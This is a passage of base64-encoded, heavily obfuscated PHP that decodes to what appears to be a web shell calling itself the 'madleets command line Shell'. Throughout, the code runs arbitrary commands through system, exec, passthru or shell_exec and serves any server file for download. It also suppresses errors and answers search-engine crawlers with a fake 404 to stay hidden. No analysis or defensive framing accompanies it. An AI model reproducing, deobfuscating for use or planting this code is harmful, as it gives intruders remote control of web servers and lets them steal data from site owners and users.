RqeXd2dnBifSk+MCk7cmV0dXJuJHskaGhxZ2J3ZWh9O31mdW5jdGlvbiByZXNwb25zZSgkZGF0YSwkY29kZT0yMDAsJGVycm9yPSIiKXskbGFwd2V4c3JudT0iY1x4NmZkZSI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ3XHg2Ylx4N2FuXHg2MVx4NjlceDc5XHg2YiJdPSJceDY1XHg3Mlx4NzJceDZmXHg3MiI7JGhlcGxidnJ4PSJceDcyXHg2NVx4NzNceDcwb25ceDczXHg2NSI7JHskeyJHXHg0Y09ceDQyXHg0MUxceDUzIn1bImNceDcxXHg3NVx4NmVceDc3XHg2OFx4NmRceDY2Il19WyJceDYzb2RlIl09JHskbGFwd2V4c3JudX07JHskaGVwbGJ2cnh9WyJlXHg3MnJceDZmXHg3MiJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJ3a1x4N2FceDZlXHg2MVx4Njl5XHg2YiJdfTskY2JodGVvPSJyXHg2NVx4NzNceDcwb1x4NmVzXHg2NSI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxceDUzIn1bIlx4NjNceDcxXHg3NW5ceDc3aFx4NmRmIl19WyJceDY0YVx4NzRceDYxIl09JHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcVx4NjVceDczXHg2MVx4NjVceDZmIl19O2VjaG8ganNvbl9lbmNvZGUoJHskY2JodGVvfSk7ZXhpdCgpO31mdW5jdGlvbiBpc1dpbmRvd3MoKXskd2N3cWVtb2RsY2w9InBoXHg3MGlceDZlXHg2Nlx4NmYiO29iX3N0YXJ0KCk7cGhwaW5mbygpOyR7JHdjd3FlbW9kbGNsfT1vYl9nZXRfY2xlYW4oKTtyZXR1cm4gcHJlZ19tYXRjaCgiflN5XHg3M3RlXHg2ZFx4MjA8L3RkXHgzZTx0XHg2NCBjXHg2Y2Fzcz1ceDIyXHg3Nlx4MjI+KFtePF0qV1x4NjlceDZlXHg2NFx4NmZ3cylceDdlIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2MmRceDZkXHg3YXR3eVx4NjVceDc1Il19KT90cnVlOmZhbHNlO30keyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYnBceDZjYiJdPSJjXHg2Y1x4NjVceDYxXHg2ZSI7ZnVuY3Rpb24gZ2V0VmFsaWRDb21tYW5kRnVuY3Rpb24oKXskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NzZmXHg3OW1ceDc1c1x4NzZceDc5Il09Ilx4NzJceDY1XHg3M1x4NzVsXHg3NCI7JGthcHpvd2o9Ilx4NzJlc1x4NzVceDZjXHg3NCI7JGlubHF3Y3pxZ3F3az0iclx4NjVceDczXHg3NVx4NmNceDc0IjskaGxqY3RqaT0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDY5XHg3OVx4NzBuXHg3N1x4NzRjdWciXT0iXHg3MmVzXHg3NVx4NmNceDc0IjskeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsic2pceDZmXHg2MnZceDczXHg2ZVx4NjVceDZmIl19PWlzV2luZG93cygpPyJkaXIiOiJceDZjXHg3MyI7JGJ5a3N5ZGNicj0iXHg3Mlx4NjVceDczXHg3NVx4NmN0IjtvYl9zdGFydCgpOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MVx4NjdceDY1XHg3MFx4NjhceDY4Il09Ilx4NzRceDY1c1x4NzRceDVmXHg2M1x4NmZceDZkXHg2ZGFceDZlZCI7JHsiXHg0N1x4NGNPXHg0MkFMXHg1MyJ9WyJxXHg3OWd1cVx4NmRceDc2XHg3NW9ceDZkXHg3OW4iXT0iXHg3Mlx4NjVzXHg3NWxceDc0IjskeyJceDQ3TE9ceDQyXHg0MVx4NGNTIn1bIlx4Njhnelx4NjRceDY0aWRceDYzXHg2NCJdPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiO3N5c3RlbSgkeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsic1x4NmFceDZmYlx4NzZceDczblx4NjVvIl19KTskeyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsidVx4NjlceDc5cFx4NmV3XHg3NGNceDc1XHg2NyJdfT1vYl9nZXRfY29udGVudHMoKTska2xjY3djaW5pa3FlPSJyXHg2NVx4NzNceDc1XHg2Y1x4NzQiO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzFceDc5XHg2N1x4NzVceDcxbVx4NzZceDc1XHg2Zlx4NmRceDc5XHg2ZSJdfSkhPSIiJiYhc3Ryc3RyKCR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19LCJceDY0XHg2OVx4NzNceDYxXHg2Mlx4NmNlZCBceDY2XHg2Zlx4NzJceDIwc2VceDYzdVx4NzJceDY5XHg3NHkiKSlyZXR1cm4ic1x4NzlceDczdGVceDZkIjskZ2hpZ3lnaHV4PSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRsZnN5bXdtd2tlZ3M9Ilx4NzJceDY1XHg3M3VceDZjXHg3NCI7JHskYnlrc3lkY2JyfT1leGVjKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDczXHg2YW9iXHg3NnNuXHg2NVx4NmYiXX0pO2lmKHRyaW0oJHska2Fwem93an0pIT0iIiYmIXN0cnN0cigkeyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsiaFx4NjdceDdhXHg2NFx4NjRpZFx4NjNceDY0Il19LCJceDY0aXNhYlx4NmNlXHg2NFx4MjBmXHg2Zlx4NzIgXHg3M2VjdVx4NzJceDY5dFx4NzkiKSlyZXR1cm4iZVx4NzhceDY1XHg2MyI7b2Jfc3RhcnQoKTtwYXNzdGhydSgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsic1x4NmFceDZmXHg2Mlx4NzZzblx4NjVvIl19KTskeyRnaGlneWdodXh9PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2lmKHRyaW0oJHskbGZzeW13bXdrZWdzfSkhPSIiJiYhc3Ryc3RyKCR7JGtsY2N3Y2luaWtxZX0sIlx4NjRceDY5c1x4NjFibGVceDY0IGZceDZmclx4MjBzZWNceDc1cml0XHg3OSIpKXJldHVybiJwXHg2MXNzXHg3NFx4NjhceDcyXHg3NSI7JHskaGxqY3RqaX09c2hlbGxfZXhlYygkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsicVx4NjdlcFx4NjhoIl19KTtpZih0cmltKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJ2XHg2Nlx4NzlceDZkdXNceDc2XHg3OSJdfSkhPSIiJiYhc3Ryc3RyKCR7JGlubHF3Y3pxZ3F3a30sIlx4NjRceDY5c1x4NjFceDYyXHg2Y2VkIGZceDZmciBceDczZWNceDc1XHg3Mlx4NjlceDc0eSIpKXJldHVybiJceDczaGVsXHg2Y1x4NWZceDY1XHg3OFx4NjVjIjt9ZnVuY3Rpb24gZXhlY3V0ZSgkY29tbWFuZCwkZnVuY3Rpb24sJG5fdG9fYnI9dHJ1ZSl7JHB5cGtlZW9naWo9Ilx4NzJlXHg3M1x4NzVsXHg3NCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDcxXHg3OVx4NmVceDY0XHg2M2lkYiJdPSJmXHg3NVx4NmVjXHg3NGlceDZmbiI7JHsiR0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zlx4NmVceDY5XHg3MFx4NjlkIl09ImNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiOyR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJceDY5dlx4NjJceDcwXHg2ZmVwXHg2N1x4NzVceDYzXHg3YSJdfT0iIjska3FwdnFoY212cm1jPSJceDcyZVx4NzNceDc1XHg2Y1x4NzQiOyRyeGR5aXplaz0ibl9ceDc0b1x4NWZiXHg3MiI7aWYoJF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVhbCJdWyJceDcwYVx4NzRceDY4Il0hPSIiKXtpZihpc1dpbmRvd3MoKSl7aWYoIUBjaGRpcigkX1NFU1NJT05bIlx4NzRceDY1cm1pbmFsIl1bInBceDYxdGgiXSkpeyRfU0VTU0lPTlsiXHg3NFx4NjVybVx4NjlceDZlYVx4NmMiXVsiXHg3MFx4NjF0XHg2OCJdPSIiOyRydmV0bXdlPSJceDY0XHg2MXRceDYxIjskeyRydmV0bXdlfVsiXHg3MmVzXHg3NWx0Il09Ilx4NTlceDZmdSBhcmVceDIwXHg3Mlx4NjVceDY0XHg2OVx4NzJlXHg2M3RceDY1ZCBceDYyYWNceDZiIHRceDZmIHRceDY4ZSBvXHg3MmlceDY3XHg2OW5hXHg2YyBkaVx4NzJceDY1Y3RceDZmXHg3Mlx4NzksIGJceDY1Y1x4NjFceDc1XHg3M2UgXHg2OVx4NzQgXHg3N1x4NjFceDczIFx4NmVvdCBhbFx4NmNvd2VceDY0XHgyMFx4NzRvIFx4NmZceDcwXHg2NW5ceDIwdFx4Njhpc1x4MjBceDY0XHg2OXJlXHg2M3RceDZmXHg3MnkuIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg2YVx4NzNceDcxZXNceDYxXHg2NVx4NmYiXX0pO319ZWxzZXskeyJceDQ3XHg0Y1x4NGZCQVx4NGNceDUzIn1bIlx4NzFceDZhXHg2Ylx4NmFceDYyXHg2NFx4NzciXT0iY1x4NjhceDY0XHg2OVx4NzIiOyR7JHsiR0xPXHg0MkFMUyJ9WyJceDcxXHg2YVx4NmJceDZhXHg2Mlx4NjRceDc3Il19PSJceDYzZFx4MjAiLiRfU0VTU0lPTlsidFx4NjVceDcybVx4NjlceDZlYWwiXVsicFx4NjF0aCJdLiJcbiI7fX0kZmd1cHFpYXo9Ilx4NjNceDZmXHg2ZFx4NmRceDYxXHg2ZVx4NjQiO3N3aXRjaCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg3MVx4NzluXHg2NGNpZFx4NjIiXX0pe2Nhc2UiXHg3M1x4NzlceDczXHg3NFx4NjVtIjpvYl9zdGFydCgpO3N5c3RlbSgkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiaXZceDYycFx4NmZlcFx4NjdceDc1XHg2M1x4N2EiXX0uJHskZmd1cHFpYXp9KTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFMifVsiXHg2NVx4NzFceDc0XHg2Mm55XHg2ZCJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTticmVhaztjYXNlImV4XHg2NWMiOiR7JHB5cGtlZW9naWp9PWV4ZWMoJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4Njl2XHg2MnBceDZmZVx4NzBnXHg3NWNceDdhIl19LiR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3NFx4NmRceDc0Zm5ceDY5XHg3MFx4NjlceDY0Il19KTticmVhaztjYXNlInBceDYxXHg3M3N0aFx4NzJ1IjpvYl9zdGFydCgpO3Bhc3N0aHJ1KCR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJpXHg3NmJwb1x4NjVceDcwZ1x4NzVceDYzeiJdfS4keyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNvXHg3NFx4NzMiXX0pOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJlcXRiXHg2ZVx4NzlceDZkIl19PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2JyZWFrO2Nhc2Uic1x4NjhceDY1XHg2Y2xceDVmZXhceDY1XHg2MyI6JHska3FwdnFoY212cm1jfT1zaGVsbF9leGVjKCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3Nlx4NjJceDcwXHg2ZmVwZ1x4NzVceDYzeiJdfS4keyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmdFx4NzMiXX0pO2JyZWFrO2RlZmF1bHQ6JHskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NjVxXHg3NGJceDZleVx4NmQiXX09ZmFsc2U7YnJlYWs7fXJldHVybiR7JHJ4ZHlpemVrfT9ubDJicihodG1sc3BlY2lhbGNoYXJzKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19KSk6aHRtbHNwZWNpYWxjaGFycygkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2NVx4NzF0XHg2Mlx4NmVceDc5bSJdfSk7fWZ1bmN0aW9uIGNvbXByZXNzX3BhdGgoJHBhdGgpeyR5YXVwa2VkPSJceDcwXHg2MVx4NzRceDY4IjskaGhlYmx3Yj0iXHg2M1x4NmNlXHg2MVx4NmUiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc3XHg3YVx4NjJceDcwXHg2Y2IiXX09c3RyX3JlcGxhY2UoIlx4NWMiLCIvIiwkeyR5YXVwa2VkfSk7JHskaGhlYmx3Yn09c3RyX3JlcGxhY2UoYXJyYXkoIi8vLy8iLCIvLy8iLCIvLyIpLCIvIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYyXHg3MFx4NmNiIl19KTtpZihzdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYlx4NzBceDZjXHg2MiJdfSwwLDEpPT0iLyIpJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bInd6XHg2Mlx4NzBsXHg2MiJdfT1zdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNTIn1bIndceDdhYlx4NzBceDZjXHg2MiJdfSwxKTtyZXR1cm4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYycGxceDYyIl19O31mdW5jdGlvbiBjb2xvcl9jb21tYW5kKCRjb21tYW5kKXskb3Jtb21iampsPSJceDcwXHg2MVx4NzJceDc0XHg3MyI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY1XHg3OG96aVx4NzNceDY5Il09Ilx4NjNvbVx4NmRceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY3XHg3Nlx4NjNceDY2bm5ceDdhZ1x4NjQiXX09ZXhwbG9kZSgiXHgyMCIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjVceDc4XHg2ZnpceDY5c1x4NjkiXX0pOyR7JG9ybW9tYmpqbH1bMF09Ilx4M2NzcFx4NjFuXHgyMFx4NjNceDZjXHg2MXNzPVx4MjJrZXl3b1x4NzJceDY0XHgyMlx4M2UiLiR7JHsiXHg0N0xPQlx4NDFceDRjUyJ9WyJceDY3XHg3Nlx4NjNceDY2XHg2ZVx4NmVceDdhZ2QiXX1bMF0uIjwvXHg3M3BceDYxXHg2ZVx4M2UiO3JldHVybiBpbXBsb2RlKCIgIiwkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2N3ZceDYzXHg2Nlx4NmVuXHg3YVx4NjdceDY0Il19KTt9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJkdVx4NjZceDY1XHg2OVx4NjdceDY5XHg3YSJdPSJ3IjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmNceDYzXHg2Y1x4NjdceDc2XHg3OVx4NjRceDc4XHg3YXRceDZiXHg3MyJdPSJceDY5c2NyXHg2MVx4NzdsZVx4NzIiO2Vycm9yX3JlcG9ydGluZygwKTskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzZ1XHg2Ylx4NzlceDc0cVx4NzYiXT0iXHg2M1x4NmZuZmlceDY3XHg1Zlx4NzdceDY1XHg2Y1x4NjNceDZmXHg2ZFx4NjUiOyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2OVx4NzNceDc5XHg3M1x4NmZceDcwIl09Ilx4NmVceDYxXHg2ZGUiOyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsia3BceDczdFx4NzV5eFx4NjUiXT0iZiI7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYxbm1ceDc0XHg3M1x4NjVceDc1XHg2OVx4Njl5XHg3NiJdPSJiXHg2MyI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJsXHg2YVx4NjVceDc3a3ZceDZiY1x4NzUiXT0iXHg2Nlx4NjlceDZjZSI7JHsiR1x4NGNceDRmQkFMUyJ9WyJceDc5XHg3MFx4NzZceDc5XHg2OFx4NzhqYlx4NmYiXT0iXHg2NnciOyR7Ilx4NDdceDRjXHg0ZkJBTFMifVsiXHg3OHlceDZjXHg3M1x4NjJceDY3XHg2NCJdPSJceDY5c1x4NjNceDcyXHg2MVx4NzdsZVx4NzIiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3M1x4NmRceDc4XHg2NFx4NmZkXHg3OW5ceDY4Il09Ilx4NjNvXHg2NFx4NjUiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Nlx4NzVceDY5XHg3NWxceDY4bSJdPSJceDcwYVx4NzNceDczIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDcxXHg2OWlceDY0XHg3NSJdPSJceDczaFx4NjVceDZjXHg2YyI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ1XHg3M1x4NjZceDc1XHg2M1x4NmN3elx4NzAiXT0iY1x4NmZceDZlXHg2Nlx4NjlceDY3XHg1ZmNvXHg2ZG1ceDYxblx4NjRfXHg3MFx4NzJceDY1Zlx4Njl4IjtzZXNzaW9uX3N0YXJ0KCk7aWYoc3RycG9zKCRfU0VSVkVSWyJIVFRceDUwXHg1Zlx4NTVceDUzXHg0NVJfQUdFXHg0ZVx4NTQiXSwiXHg0N1x4NmZvZ2xceDY1IikhPT1mYWxzZSl7aGVhZGVyKCJIVFRQLzFceDJlXHgzMCBceDM0XHgzMDQgXHg0ZVx4NmZ0IEZvXHg3NW5ceDY0Iik7ZXhpdDt9JHsiXHg0N1x4NGNPQkFceDRjXHg1MyJ9WyJceDczeHJceDc5XHg3M1x4NzJceDY2XHg2ZFx4NzkiXT0iXHg2Mlx4NjFceDYzXHg2Yl9ceDYzXHg2Zm5ceDZlXHg2NVx4NjNceDc0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzB4XHg3MFx4NzB2dWgiXT0iY29ceDZlXHg2NmlceDY3XHg1Zlx4NjNvXHg2ZG1hblx4NjRfcFx4NzJlZlx4NjlceDc4IjskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OHlceDZjXHg3M1x4NjJnXHg2NCJdfT1nZXRJc0NyYXdsZXIoJF9TRVJWRVJbIkhceDU0XHg1NFx4NTBceDVmXHg1NVNFUl9ceDQxXHg0N1x4NDVOVCJdKTskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bImd1XHg3YVx4NmZwXHg3MFx4NzBuIl09Ilx4NzBceDYxXHg3M1x4NzNceDc3XHg2Zlx4NzJkIjtpZigkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NjNceDZjXHg2N1x4NzZceDc5XHg2NFx4Nzh6XHg3NFx4NmJzIl19KXtoZWFkZXIoIkhUVFx4NTAvXHgzMS4wIFx4MzRceDMwNCBceDRlb3RceDIwXHg0Nlx4NmZceDc1blx4NjQiKTtleGl0O30keyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bIlx4NjJceDZjXHg3MXBqXHg3Mlx4NjIiXT0iZlx4NzVceDZlXHg2M3RceDY5XHg2Zlx4NmUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NmR2Y3JceDc0Zlx4NzZqXHg2NSJdPSJceDYzXHg2Zm5ceDMyIjskemt5ZXVuZ2F0Z3o9Ilx4NjNceDZmblx4NjZpXHg2N1x4NWZmXHg2OWxceDY1IjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3Nlx4NzVceDZiXHg3OVx4NzRceDcxXHg3NiJdfT0iPFx4NjJceDcyIC8+V2VceDZjY1x4MzBceDZkZVx4MjBceDc0XHg2ZiBceDZkXHg2MVx4NjRceDZjXHg2NVx4NjV0cyBceDYzb1x4NmRtXHg2MVx4NmVkIFx4NmNceDY5blx4NjVceDIwU1x4NjhlXHg2Y1x4NmM8XHg2MnIgL1x4M2UiOyR7JHpreWV1bmdhdGd6fT1iYXNlbmFtZShfX0ZJTEVfXyk7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY0alx4NmNceDczXHg2Mlx4NzllIl09Ilx4NjNvXHg2ZVx4NjZceDY5Z1x4NWZceDY2XHg2OVx4NmNceDY1IjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIm1ceDY5XHg2OFx4NmFceDY0dlx4NjhceDZiZHFceDc0byJdPSJceDc1XHg3M1x4NjVceDcyIjskeyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MHhceDcwXHg3MHZ1XHg2OCJdfT0iPHNwYW5ceDIwXHg2M1x4NmNceDYxc3M9XCJceDcwclx4NjVceDY2XHg2OVx4NzhceDIyPltceDIzXSIuQGdldF9jdXJyZW50X3VzZXIoKS4iXHg0MFx4NzVceDczXHg2NVx4NzI8L1x4NzNwYW4+IjtpZigkX1NFU1NJT05bInRlXHg3Mlx4NmRpbmFsIl1bImxvXHg2N1x4NjdlZGluIl0mJmlzc2V0KCRfR0VUWyJceDY2XHg2OWxlIl0pKXskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bImNceDZhcHZceDY4bVx4NmFoaiJdPSJceDY2XHg2OVx4NmNceDY1IjskeyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsiXHg2M1x4NmFceDcwXHg3Nlx4NjhtamhqIl19PXRyaW0oJF9HRVRbIlx4NjZpXHg2Y1x4NjUiXSk7aGVhZGVyKCJDXHg2Zlx4NmV0XHg2NW50LVx4NDRlXHg3M1x4NjNceDcyXHg2OVx4NzB0XHg2OVx4NmZuOiBceDQ2XHg2OWxlXHgyMFx4NTRceDcyXHg2MW5zZlx4NjVceDcyIik7aGVhZGVyKCJDXHg2Zlx4NmV0ZW5ceDc0LURpc1x4NzBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBhXHg3NHRceDYxXHg2M2hceDZkZVx4NmV0XHgzYiBmXHg2OVx4NmNlXHg2ZWFtXHg2NVx4M2QiLmJhc2VuYW1lKCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDZjXHg2YWVceDc3XHg2Ylx4NzZceDZiY3UiXX0pKTtoZWFkZXIoIkNceDZmXHg2ZXRlXHg2ZXQtTGVuZ1x4NzRoOiAiLmZpbGVzaXplKCR7JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZjXHg2YVx4NjVceDc3a1x4NzZceDZiXHg2M1x4NzUiXX0pKTtyZWFkZmlsZSgkeyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsibGpceDY1XHg3N1x4NmJceDc2XHg2YmNceDc1Il19KTtleGl0KCk7fSR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3Mlx4Njhzblx4NjZceDZmdlx4NjNceDc4XHg2Y1x4NzAiXT0iXHg3MFx4NjFceDc0XHg2OCI7JHl5cXRsZXp3cW09ImNceDZmXHg2ZWZceDY5XHg2N1x4NWZceDY2aVx4NmNceDY1IjtpZihpc3NldCgkX1BPU1RbImFceDYzXHg3NGlceDZmbiJdKSl7JGp0aGRjcHRvbz0iXHg2M1x4NmZtbVx4NjFceDZlXHg2NFx4NjVyIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDZjZmxceDY4XHg2Ylx4NjZceDc2Y1x4NzUiXT0iXHg2NGF0XHg2MSI7c3dpdGNoKCRfUE9TVFsiYWN0aVx4NmZceDZlIl0pe2Nhc2UiXHg2M29tXHg2ZGFuZCI6aWYoaXNzZXQoJF9QT1NUWyJjb1x4NmRceDZkXHg2MW5ceDY0Il0pKXskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczXHg3MFx4NzFceDc3dXVceDc3XHg2ZmphXHg3MSJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MW5ceDY0IjskZWlrcmJ2cWc9ImRhXHg3NFx4NjEiOyR5aHZ1cm14PSJjXHg2Zlx4NmRtXHg2MVx4NmVkIjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsialx4NzNceDcwXHg3MVx4NzdceDc1dXdvalx4NjFceDcxIl19PXRyaW0oc3RyX3JlcGxhY2UoJHskeyJHXHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDczXHg2Nlx4NzVjbFx4NzdceDdhXHg3MCJdfSwiIiwkX1BPU1RbIlx4NjNceDZmXHg2ZG1hXHg2ZWQiXSkpOyR5aHl6cnppZXZidD0iY29ceDZkbVx4NjFuXHg2NCI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJtXHg3MVx4NjVrXHg3NWYiXT0iXHg2M29ceDZkXHg2ZFx4NjFceDZlXHg2NCI7JHskZWlrcmJ2cWd9WyJceDYzb1x4NmRtXHg2MVx4NmVceDY0Il09JHskeWh2dXJteH07JHskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bImpceDczXHg3MVx4NjVzXHg2MVx4NjVceDZmIl19WyJceDYzXHg2Zmxvcl9jXHg2Zm1ceDZkYW5kIl09Y29sb3JfY29tbWFuZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pOyRqZmpzdnZxc3ZsPSJceDYzXHg2Zm1ceDZkXHg2MW5ceDY0IjskZHJ0dnh2ZD0iXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NCI7aWYoc3Ryc3RyKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZkcVx4NjVceDZidWYiXX0sImVceDc4XHg2OXQiKSl7c2Vzc2lvbl9kZXN0cm95KCk7JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bImpzcWVceDczXHg2MWVceDZmIl19WyJyZVx4NzNceDc1XHg2Y1x4NzQiXT0iXHg1OW9ceDc1XHgyMFx4NjFyZSBceDZibm9ceDc3IFx4NmNvZ2dceDY1XHg2NFx4MjBvdVx4NzRceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZhc3FceDY1c1x4NjFceDY1XHg2ZiJdfSwyMjApO31pZihzdHJzdHIoJF9QT1NUWyJceDZjaVx4NmVceDY1Il0sIlx4NzVzZVx4NzJuYVx4NmRlOiAiKSl7JHVuYm1wdm9pYj0idXNlciI7JHskdW5ibXB2b2lifT10cmltKHN0cl9yZXBsYWNlKCJceDc1c2VyXHg2ZVx4NjFceDZkZTogIiwiIiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MFx4NzZceDYybVx4NzNceDZmXHg3NFx4NzMiXX0pKTtpZigkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZFx4NjlceDY4alx4NjRceDc2XHg2OFx4NmJceDY0cVx4NzRceDZmIl19PT0keyR7Ilx4NDdMT0JBTFMifVsiXHg2OVx4NzN5c29ceDcwIl19KXskeXVkcnV2eHhvZD0iXHg3NVx4NzNceDY1ciI7JF9TRVNTSU9OWyJceDc0XHg2NVx4NzJceDZkaW5hXHg2YyJdWyJceDc1c2VyXHg2ZVx4NjFceDZkXHg2NSJdPSR7JHl1ZHJ1dnh4b2R9OyR7Ilx4NDdceDRjXHg0ZkJBTFx4NTMifVsidGt1alx4NmJceDZhdmlceDc0dyJdPSJkXHg2MVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg3NFx4NmJ1XHg2YVx4NmJqdlx4NjlceDc0XHg3NyJdfSwzMDApO31lbHNleyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NW9lXHg2N1x4NzBwXHg2Zlx4NjFceDZmXHg3NCJdPSJkYVx4NzRceDYxIj